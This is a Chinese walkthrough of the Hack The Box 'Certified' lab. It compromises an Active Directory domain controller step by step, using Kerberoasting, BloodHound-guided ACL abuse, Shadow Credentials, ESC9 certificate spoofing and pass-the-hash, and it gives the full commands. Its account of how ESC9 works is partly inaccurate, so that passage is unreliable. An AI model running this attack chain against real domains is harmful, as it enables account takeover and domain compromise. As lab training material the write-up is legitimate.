HTB-Certified

一、前期侦察与初始立足

1.1 端口扫描与服务识别

首先，对目标主机 10.10.11.41 进行了全端口扫描。此举的目的是识别其开放的服务，从而评估潜在的入口点。

sudo nmap 10.10.11.41 -p- --min-rate=5000 -A

图1: Nmap 扫描结果，显示了多个与域环境相关的特征端口 (例如 88, 135, 139, 445)

扫描结果清晰地显示，多个与 Active Directory 域环境密切相关的端口（如 Kerberos 88, RPC 135, NetBIOS 139, SMB 445）均处于开放状态。基于这些信息，可以初步判断该主机是一台域控制器。

1.2 初始凭据利用与域用户枚举

靶机环境提供了一组初始凭据：judith.mader/judith09。利用这组凭据，通过 LDAP 服务对域内用户进行了枚举，为后续的信息收集和攻击尝试奠定基础。

netexec ldap 10.10.11.41 -u judith.mader -p judith09 --users

图2: 通过 LDAP 枚举获取的域用户列表

收集到的域用户列表如下，并已保存至 users.txt 文件：

Administrator
judith.mader
management_svc
ca_operator
alexander.huges
harry.wilson
gregory.cameron

1.3 密码喷洒尝试

基于获取的用户列表和已知的初始密码 judith09，接着对 SMB 服务进行了一次密码喷洒攻击，试图发现是否存在其他用户复用此密码的情况。

netexec smb 10.10.11.41 -u users.txt -p judith09

图3: 密码喷洒尝试并未成功复用凭据

此次密码喷洒未能获得新的有效凭据，表明其他用户并未简单复用该密码。

1.4 SMB 共享枚举

继续使用 judith.mader 的凭据，对 SMB 共享进行了枚举，以探查可能存在的敏感文件或可利用的可写目录。

netexec smb 10.10.11.41 -u judith.mader -p judith09 --shares

图4: 枚举到的 SMB 共享列表，主要为标准的域控默认共享

枚举结果显示了标准的域控制器共享（ADMIN$,C$, IPC$, NETLOGON, SYSVOL），未发现特殊的或可疑的自定义共享资源。

1.5 Kerberos 相关攻击尝试

随后，将注意力转向 Kerberos 服务，尝试了常见的攻击手法，包括 AS-REP Roasting 和 Kerberoasting。

impacket-GetNPUsers -dc-ip 10.10.11.41 -request -outputfile hashes.asreproast certified.htb/judith.mader:judith09
impacket-GetUserSPNs -request -dc-ip 10.10.11.41 -outputfile hashes.kerberoast certified.htb/judith.mader:judith09

图5: 初次尝试 Kerberoasting 因时间同步问题失败，AS-REP Roasting 未发现可利用账户

AS-REP Roasting 未找到配置了 “Do not require Kerberos preauthentication” 的用户。初次尝试 Kerberoasting 时，错误信息提示客户端与 KDC 之间可能存在时间同步问题。为解决此问题，与域控进行了时间同步：

sudo ntpdate 10.10.11.41

时间同步后，再次执行 Kerberoasting 枚举，这次成功导出了用户 management_svc 的 TGS 服务票据哈希。

图6: 与域控同步时间后，成功导出 management_svc 的 TGS 票据哈希

之后尝试使用 Hashcat 配合 rockyou.txt 字典和 best64.rule 规则来破解获取到的 Kerberos TGS 哈希，但未能成功破解出明文密码。

hashcat -m 13100 hashes.kerberoast /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule --force

图7: Hashcat 破解 Kerberos TGS 哈希的尝试未取得成果

二、ADCS 探查与 BloodHound 分析

在初步的 Kerberos 相关尝试未果后，调查方向转向了 Active Directory 证书服务 (ADCS)，这通常是寻找配置弱点和提权路径的关键区域。

2.1 Active Directory 证书服务 (ADCS) 枚举

使用 certipy-ad 工具，以 judith.mader 用户的身份对 ADCS 进行了检查，目的是发现是否存在可被该用户直接利用的证书模板或配置漏洞。

certipy-ad find -u 'judith.mader@certified.htb' -p 'judith09' -dc-ip '10.10.11.41' -vulnerable -text -enabled -hide-admins

图8: Certipy-ad 的检查结果表明，用户 judith.mader 并无直接可利用的 ADCS 漏洞路径。

扫描结果表明，当前用户 judith.mader 未能发现可直接利用的 ADCS 提权路径，这提示可能需要更复杂的权限链条。

2.2 BloodHound 数据收集

鉴于手动枚举的局限性，决定采用 BloodHound 进行更深入的域内关系和权限分析。为此，使用了其 Python 采集器 bloodhound-ce-python 来收集必要的域信息。

bloodhound-ce-python -c all -d certified.htb -u judith.mader -p judith09 -ns 10.10.11.41 -dc dc01.certified.htb --zip

图9: 使用 bloodhound-ce-python 收集域信息，为 BloodHound 分析做准备。

数据收集完成后，便将其导入 BloodHound 进行可视化分析。

三、权限提升路径：judith.mader -> Management 组

3.1 分析 BloodHound 结果：WriteOwner 权限的发现

将收集到的数据导入 BloodHound 后，分析重点放在当前已控制用户 judith.mader 的“出站对象控制 (Outbound Object Control)”权限上。分析结果显示，judith.mader 对 Management 组拥有 WriteOwner 权限。

图10: BloodHound 清晰地展示了 judith.mader 对 Management 组的 WriteOwner 权限。

这是一个关键的发现，因为 WriteOwner 权限允许将 judith.mader 设置为 Management 组的新所有者，从而为后续控制该组打开了通道。

3.2 获取 Management 组成员权限

利用已发现的 WriteOwner 权限，通过以下三步将用户 judith.mader 添加到 Management 组：

1. 将 judith.mader 设置为 Management 组的所有者。
2. 作为新的所有者，赋予 judith.mader 对该组的写成员权限 (WriteMembers)。
3. 将 judith.mader 添加到 Management 组中。

具体操作命令如下：

impacket-owneredit -dc-ip 10.10.11.41 -action write -new-owner judith.mader -target management certified/judith.mader:judith09
impacket-dacledit -dc-ip 10.10.11.41 -action write -rights WriteMembers -principal judith.mader -target management certified/judith.mader:judith09
net rpc group addmem Management judith.mader -U certified/judith.mader%judith09 -S 10.10.11.41

图11: 依次执行命令，设置所有者、赋予写成员权限并将 judith.mader 添加到 Management 组。

为了确认操作成功，使用 net rpc group members 命令进行了验证：

net rpc group members Management -U certified/judith.mader%judith09 -S 10.10.11.41

图12: 确认 judith.mader 已成功加入 Management 组。

此时，judith.mader 已成为 Management 组的一员，获得了该组所拥有的相应权限。

四、横向移动：Management -> management_svc -> ca_operator

成为 Management 组成员后，再次借助 BloodHound 分析这一新身份带来的权限变化。

4.1 利用 GenericWrite 实现 Shadow Credentials

BloodHound 的分析显示，Management 组的成员（现已包含 judith.mader）对用户 management_svc 拥有 GenericWrite 权限。

图13: BloodHound 揭示 Management 组对 management_svc 用户的 GenericWrite 权限。

GenericWrite 权限允许修改目标用户的特定属性。此处选择利用 Shadow Credentials (影子凭据) 攻击，通过 certipy-ad 的 shadow auto 功能，为 management_svc 添加新的 msDS-KeyCredentialLink 属性，并直接获取其 NTLM 哈希。

certipy-ad shadow auto -target certified.htb -dc-ip 10.10.11.41 -username judith.mader@certified -password judith09 -account management_svc

图14: Certipy-ad shadow auto 成功为 management_svc 添加影子凭据并获取其 NTLM 哈希 a091c1832bcdd4677c28b5a6a1295584。

成功获取 management_svc 的 NTLM 哈希后，即拥有了以该用户身份进行操作的能力。

4.2 控制 ca_operator 用户

接下来，对 management_svc 用户的权限进行分析，发现其对用户 ca_operator 拥有 GenericAll (完全控制) 权限。

图15: BloodHound 显示 management_svc 对 ca_operator 用户拥有 GenericAll 权限。

拥有 GenericAll 权限意味着可以对目标用户执行任意操作，包括重置密码。利用 bloodyAD 工具和 management_svc 的 NTLM 哈希，将 ca_operator 的密码重置为 summer123。

bloodyAD -u 'management_svc' -p :a091c1832bcdd4677c28b5a6a1295584 -d certified.htb --host 10.10.11.41 set password 'ca_operator' 'summer123'

图16: 使用 bloodyAD 成功将 ca_operator 的密码修改为 summer123。

至此，ca_operator 用户的控制权也已收入囊中。

五、域控权限获取：ESC9 与证书伪造

ca_operator 这个用户名强烈暗示其与证书颁发机构 (CA) 相关。获取该用户控制权后，立即着手调查是否存在可利用的 ADCS 漏洞。

5.1 ADCS 漏洞利用 (ESC9)

使用 ca_operator 的新凭据 (ca_operator@certified.htb / summer123)，再次通过 certipy-ad find 检查 ADCS 配置，寻找可利用的漏洞。

certipy-ad find -u 'ca_operator@certified.htb' -p 'summer123' -dc-ip 10.10.11.41 -vulnerable -enabled -text

图17: Certipy-ad 发现 ca_operator 用户可利用的 ESC9 漏洞 (No Security Extension on Certificate Template)。

结果显示存在一个 ESC9 漏洞，与名为 CertifiedAuthentication 的证书模板相关。此漏洞的核心在于：对证书模板拥有注册权限的用户（如此处的 ca_operator）可以请求证书，并且由于模板配置不当（缺少必要的安全扩展，如 CT_FLAG_NO_SECURITY_EXTENSION 未设置），攻击者可以通过在证书请求中指定一个备用主体名 (SAN) 来冒充其他用户，例如域管理员。利用方法可参考 Wiki。

图18: 证书枚举结果。

5.2 修改 UPN 并请求证书

为了利用 ESC9 漏洞冒充域管理员，需要将 ca_operator 的 userPrincipalName (UPN) 属性临时修改为目标管理员账户的 UPN。由于此前已获得 management_svc 对 ca_operator 的 GenericAll 权限，因此可利用 management_svc 的凭据（NTLM 哈希）通过 certipy-ad account update 命令，将 ca_operator 的 UPN 修改为 administrator@certified.htb。

certipy-ad account -username management_svc@certified.htb -hashes :a091c1832bcdd4677c28b5a6a1295584 -upn 'administrator' -user 'ca_operator' -dc-ip 10.10.11.41 update

图19: 成功将 ca_operator 的 UPN 修改为 ‘administrator’。

UPN 修改完成后，便以 ca_operator (此时其 UPN 为 administrator@certified.htb，但实际认证主体仍为 ca_operator，密码为 summer123) 的身份，使用 CertifiedAuthentication 模板向 CA certified-DC01-CA 请求证书。

certipy-ad -debug req -username ca_operator@certified.htb -p summer123 -ca certified-DC01-CA -template CertifiedAuthentication -dc-ip 10.10.11.41

图20: 成功请求到包含 ‘administrator’ UPN 的证书，并保存为 administrator.pfx。

此操作会生成一个 administrator.pfx 文件，该证书的备用主体名 (SAN) 中包含了 administrator 的 UPN，这是实现身份冒充的关键。

5.3 恢复 UPN

在进行证书认证之前，一个非常重要的步骤是恢复 ca_operator 的原始 UPN (ca_operator@certified.htb)。这不仅是为了清除操作痕跡，也是确保后续利用成功的关键步骤。

certipy-ad account -username management_svc@certified -hashes :a091c1832bcdd4677c28b5a6a1295584 -dc-ip '10.10.11.41' -upn 'ca_operator@certified.htb' -user 'ca_operator' update

图21: 恢复 ca_operator 的原始 UPN。

5.4 证书认证获取 NTLM Hash

现在，一切准备就绪。使用先前获取的 administrator.pfx 证书文件，以 administrator 的身份（通过证书中的 SAN 实现）通过 Kerberos PKINIT 协议进行认证，目的是获取其 NTLM 哈希。

certipy-ad -debug auth -pfx administrator.pfx -username administrator -domain certified.htb -dc-ip 10.10.11.41

图22: 通过证书认证，成功获取 Administrator 用户的 NTLM 哈希 0d5b49608bbce1751f708748f67e2d34。

5.5 Pass-the-Hash 登录域控

最后一步，利用获取到的 Administrator NTLM 哈希 (0d5b49608bbce1751f708748f67e2d34)，通过 impacket-psexec 工具执行 Pass-the-Hash 攻击，成功获得了域控制器 10.10.11.41 的 SYSTEM 权限。

impacket-psexec -hashes :0d5b49608bbce1751f708748f67e2d34 administrator@10.10.11.41

图23: 使用 psexec 和 Administrator 的 NTLM 哈希，成功获取域控的 SYSTEM 权限。

至此，完全拿到域控制器权限。

六、环境说明与排错

在最初进行 ADCS 相关操作（特别是证书请求和认证环节）时，曾频繁遇到 KDC_ERR_PADATA_TYPE_NOSUPP (KDC has no support for padata type) 相关的 Kerberos 错误。

图24: 操作初期遇到的 Kerberos 异常问题。

这个问题在后续通过其他途径获取到管理员凭据，并登录域控执行 gpupdate /force 强制刷新组策略后得到了解决。此后，ADCS 相关的操作恢复正常。这表明该错误可能源于靶机环境当时特定的组策略配置或 KDC 服务状态，而非攻击手法本身的问题。

---